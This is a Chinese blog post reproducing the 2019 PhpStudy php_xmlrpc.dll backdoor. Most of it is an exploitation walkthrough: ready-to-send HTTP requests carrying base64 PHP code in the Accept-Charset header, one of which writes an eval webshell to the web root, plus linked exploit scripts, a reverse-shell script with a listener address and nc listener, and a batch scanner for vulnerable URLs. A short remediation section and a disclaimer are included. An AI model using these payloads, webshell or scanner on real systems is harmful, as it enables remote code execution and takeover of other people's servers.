PhpStudy BackDoor 2019漏洞

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

基础介绍

事件背景

北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”。截至案发,近百万PHP用户中超过67万用户已被黑客控制,并大肆盗取账号密码、聊天记录、设备码类等敏感数据多达10万多组,非法牟利600多万元。

  • **漏洞:**程序包自带的PHP的php_xmlrpc.dll模块中有隐藏后门。
  • php.ini中必须要引用该模块,这样才能去复现该漏洞,若开启了xmlrpc功能,php就会加载这个php_xmlrpc.dll动态链接库文件,其中的恶意代码就会被触发。

xml rpc是使用http协议做为传输协议的rpc机制(远程过程调用),使用xml文本的方式传输命令和数据。

查看是否引用该模块:

方法1:通过php.ini配置文件查看,位置D:\phpStudy\PHPTutorial\php\php-5.4.45\ext
在这里插入图片描述
方法2:通过phpinfo查看
在这里插入图片描述

  • 影响版本:phpstudy 2016(php5.4/5.2) phpstudy 2018(php5.4/5.2)

phpStudy20180211版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本php5.4.45与php5.2.17ext扩展文件夹下的php_xmlrpc.dll
不管是第三方下载的还是官网下载的phpstudy均存在后门,存在于php5.4.45和php5.2.17,当切换到其他版本漏洞是不存在的。
在这里插入图片描述

有问题的文件:

Phpstudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
Phpstudy\PHPTutorial\php\php-5.4.45-nts\ext\php_xmlrpc.dll

漏洞复现

攻击者:Windows 10系统
靶机:Windows 7虚拟机

1.是两台机器之间能够相互ping通;
2.在靶机中下载带有后门的PhpStudy 2018软件,打开PhpStudy软件,在D:\phpStudy\PHPTutorial\php\php-5.4.45\ext目录中使用记事本打开php_xmlrpc.dll,搜索eval关键词,查看植入的后门
在这里插入图片描述
在这里插入图片描述
3.打开PhpStudy 2018,切换到有后门的版本,并启动Apache和MySQL服务,攻击者在浏览器中访问靶机的IP,查看是否能启动WEB服务器
在这里插入图片描述
在这里插入图片描述
4.开启代理服务器,使用burpsuite拦截浏览器的请求包,将拦截下来的数据发送到到Repeater模块(重发),使用Ctrl+R或者点击Action --> Send to Repater
在这里插入图片描述
5.修改请求包,将Accept-Encding(浏览器可解析的编码方式): gzip,deflate逗号后面的空格删除,然后在deflate后面增加一个空格(没有Accept-Encding就自己加上)
复现漏洞的过程中,会遇到一个问题,请求包放到repeater时,会加入很多的空格。

Accept-Encoding: gzip, deflate

在Accept-Encoding中,deflate的前面都有一个空格,这个空格导致重访无法成功,去掉空格即可。
在这里插入图片描述
在这里插入图片描述
6.再添加一项:Accept-Charset(规定服务器处理表单数据所接受的字符集):,Accept-Charset后面跟要执行的命令(恶意代码需要经过Base64转码),即恶意代码,最后提交该请求包,查看响应包
在这里插入图片描述

实例——system(’<恶意命令>’);(别忘了最后的分号)

这个漏洞相当于是个eval()函数的代码执行,所以如果要执行os系统命令的话还要用system(’<恶意命令>’);

先base64编码,在BP工具中,打开Decoder(解码和编码)模块:
在这里插入图片描述
在这里插入图片描述
下图可以看到,在响应包中我们可以看到我们想要的信息,复现成功
在这里插入图片描述
在这里插入图片描述

写一句话木马菜刀链接:

执行恶意命令system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');将木马写入PHPTutorial\WWW\shell.php中

GET /index.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip,deflate
Connection: close
accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=
Upgrade-Insecure-Requests: 1

在这里插入图片描述
可能遇到的问题
若无法成功连接,可能生成目录不对,执行命令tree /f查看文件树,找到可访问路径生成shell

GET /phpinfo.php HTTP/1.1
Host: 192.168.0.108
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCd0cmVlIC9mJyk7
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

修复方法

1.在官网中下载最新的PhpStudy
2.将PhpStudy中php5.4和php5.2里面的php_xmlrpc.dll替换为官方的文件
3.使用phpstudy安全自检修复程序2.0

Exploit利用脚本

1.在GitHub中下载PHPStudy_BackDoor_Exp,链接为:https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp
在这里插入图片描述
环境为Python3,依赖request模块

2.把下载好的PHPStudy_BackDoor_Exp文件夹拷贝到靶机中(这里图个方便直接拷到靶机上了,也就是本地打本地),并在含有PHPStudy_BackDoor_Exp的文件夹中开启dos命令窗口

python phpstudy_backdoor.py  运行脚本

开启脚本成功
在这里插入图片描述
3.根据提示,输入目标主机(即出现漏洞的PhpStudy中web服务器地址),以及要执行的命令

  • 需要开启PhpStudy中的Apache和MySQL服务

在这里插入图片描述

  • 根据上图的提示所示,如果要执行os命令,命令必须是php函数,即使用system(’’);格式

在这里插入图片描述
在这里插入图片描述
参考:https://www.cnblogs.com/yankaohaitaiwei/p/11604762.html

反弹shell脚本

https://github.com/rabbitmask/PHPStudy_BackDoor
就目前版本来讲,phpstudy是部署在Windows平台(确实存在linux版本,发布不久测试阶段)居多,主流Windows平台均已支持powershell(win7/server2008以上),我们反弹shell的探究借助powershell实现。

phpstudy_backdoor_shell.py

脚本一键反弹shell,自动bypass,关于原理,借助了powercat、powershell等,
所以请在powershell中执行`set-executionpolicy remotesigned`允许脚本执行。
Usage: python3 phpstudy_backdoor_shell.py [url]
#请先在脚本中配置监听地址与端口
listen_host='192.168.1.254'
listen_port='6666'

运行demo:

python phpstudy_backdoor_shell.py 127.0.0.1

nc -lvvp [port]

批量扫描存在PHPStudy_BackDoor的URL

phpstudy_backdoor_poc.py
https://github.com/rabbitmask/PHPStudy_BackDoor

多进程批量检测脚本,自动读取urls.txt中内容,然后进行批量检测
检测结果如发现漏洞会存入phpstudy_backdoor_urls.txt中

运行demo:

python phpstudy_backdoor_poc.py

[+] http://127.0.0.1 is vulnerable.
[-] http://192.168.1.1 is invulnerable.
[*] http://192.168.1.2 Looks Like Something Wrong.
[*] http://192.168.1.3 Looks Like Something Wrong.
  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值